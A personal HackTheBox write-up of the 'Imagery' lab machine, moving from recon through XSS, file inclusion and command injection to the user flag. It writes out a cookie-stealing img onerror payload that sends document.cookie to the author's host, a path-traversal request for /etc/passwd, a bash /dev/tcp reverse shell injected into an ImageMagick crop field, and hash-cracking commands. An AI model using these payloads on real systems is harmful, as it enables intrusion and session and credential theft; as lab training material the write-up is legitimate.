HackTheBox -- Imagery (MEDIUM) Experience
I’ll walk through my experience tackling the HackTheBox "Imagery" CTF (Medium). I'll showcase my thought process, tools, and methods as I work through each stage — whether I succeed or hit roadblocks. The goal isn't just solving it, but highlighting how I approach challenges and sharpen my skills along the way. As of now this machine remains unsolved.

Intro
This write‑up contains spoilers for the entire user flag.
This was my first time attempting a medium-difficulty machine on Hack The Box. Before starting, I searched for write-ups and passed one of them to an AI assistant, instructing it not to reveal any solutions and only give hints when requested. From there, I worked through the machine step by step, using the hints and my own analysis to reach the final root.
Reconnaissance
I started this box with a simple nmap scan.
nmap -sC -sV -oA nmap/nmap 10.10.11.88
This nmap scan reveals the following information.
Starting Nmap 7.98 ( https://nmap.org ) at 2025-11-15 11:04 +0800
Stats: 0:00:02 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 7.00% done; ETC: 11:04 (0:00:13 remaining)
Nmap scan report for 10.10.11.88
Host is up (0.21s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.7p1 Ubuntu 7ubuntu4.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 35:94:fb:70:36:1a:26:3c:a8:3c:5a:5a:e4:fb:8c:18 (ECDSA)
|_ 256 c2:52:7c:42:61:ce:97:9d:12:d5:01:1c:ba:68:0f:fa (ED25519)
8000/tcp open http Werkzeug httpd 3.1.3 (Python 3.12.7)
|_http-title: Image Gallery
|_http-server-header: Werkzeug/3.1.3 Python/3.12.7
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.65 seconds
Port 8000 is running a Python Werkzeug HTTP service. Werkzeug is a WSGI utility allowing web servers to communicate with Python frameworks and applications.
Upon doing some research about that service, I gather that Werkzeug is a WSGI Web-Server Gateway Interface, a utility that allows web servers to communicate with python framewarks and applications.
Web App Review
I navigate to that URL. http://10.10.11.88:8000

This appears to be a cloud storage service where users upload images. I suspected vulnerabilities such as XSS or SQL injection early on.
I created an account and logged in, arriving at the upload page.
Upload Page

I tested for XSS using a bold tag in the title.

Sanitization blocked the input, so I tried: <<"B>>Something<</B">

It still didn’t work. I asked the AI assistant for a hint:
Focus on the web app’s user flows, not the ports. One flow involves user-generated content reviewed by someone else. Anything that auto-loads in an admin’s browser becomes an opportunity.
I then remembered a page I had ignored earlier: Report a Bug.
Report A Bug Page

There is no way I could see if the XSS worked if I tried what I tried earlier with the upload image page. So I need some sort of work around.
I could not directly test XSS here, so I attempted to make the server "ping" my machine using:
fetch('10.10.15.30:4337')
In order to see if that could "ping" my machine, ofcourse I had a nc listerner running on port 4337.

This worked so I went and reported this bug.

And started the listner
Only to recieve the nothing for a while. But then;

I couldn't think of much else to do so I asked for another hint.
Right now, everything you’re doing is causing the server to make requests. You need something that forces a browser to make the request instead. Browsers behave differently — they can send things servers won’t.
First thing that came to mind was cookies. So I search up how to get the cookies and found that I need to morph my command;
<img src=1 onerror="document.location='http://10.10.15.30:4337/steal/' + document.cookie">
I recieved this on my end after a long wait.

We now have a cookie which we know is for an admin account since the success message of the report bug page says that an admin will review it.
Replacing my cookie with the admin's cookie launches me into an admin account and an admin panel tab is presented.

Local File Inclusion
The admin panel has a log download feature:
It makes this GET request to the backend.
http://10.10.11.88:8000/admin/get_system_log?log_identifier=admin%40imagery.htb.log```
This might be vulnerable to some sort of LFI, so I'll try returning ```/etc/passwd``` using; ```http://10.10.11.88:8000/admin/get_system_log?log_identifier=../../../../../../../etc/passwd
Testing for LFI;
http://10.10.11.88:8000/admin/get_system_log?log_identifier=../../../../../../../etc/passwd

The system revealed two users: web and mark.
Requesting /etc/shadow returned a permission error:
{"message":"Error reading file: [Errno 13] Permission denied: '/home/web/web/system_logs/../../../../../../../etc/shadow'","success":false}
I explored Python config files (config.py, app.py) and found api_edit.py, which contained credentials for testuser@imagery.htb in MD5:
2c65c8d7bfbca32a3ed42596192384f6
Cracking it using john the password is;
*********
I could use that to log into testuser@imagery.com but why would I?
Command Injection
There is a function /convert_image.

If statement checks if the account is a test user and in the db.json file testuser is indeed a test user.
There has to be a use for the testuser credentials.
One transform option is crop, which executes an IMAGEMAGICK command with shell=True — a possible command injection point.

Logging in as testuser, I uploaded an image, intercepted the request in Burp Suite, and injected:
bash -c 'bash -i >& /dev/tcp/10.10.15.30/4337 0>&1'
I know that the command is going to look like;
{IMAGEMAGICK_CONVERT_PATH} {original_filepath} -crop {width}x{height}+{x}+{y} {output_filepath}
"y" variable is the last thing so I will put my command there.

He's the goat
Shell obtained. Stabilized with:
python3 -c 'import pty;pty.spawn("/bin/bash")'
and
export TERM=xterm
to clear
Privilege Escalation
linpeas indicated a backup file in /var/backup encrypted with .aes.
I extracted the hash using aescrypt2hashcat.pl and cracked it with Hashcat module 22400:
hashcat -m 22400 hash.txt /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt
This step almost made me give up on the box, I did everything; looked for the password some where and even made a python3 script that used rockyou.txt and ran it went to bed and woke up with no hits.
A built-in script decrypted the file. It contained a db.json resembling the web app root, including mark’s hashed password.
Cracking mark’s hash:
john markcred.txt --format=raw-md5 --wordlist=/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt
We get a password for mark.
Final Steps
Couldn't ssh into mark from my machine or the shell.
Mark’s password allowed su in the shell.
The user flag was retrieved successfully.
Reminder
Let me remind you again of our brothers and sisters suffering in Palestine, Sudan, and specifically El‑Fasher. Consider supporting them financially if you’re able — any amount helps — through trusted organizations such as the Palestine; Global Rahmah Foundation and Sudan; Humanity Increased.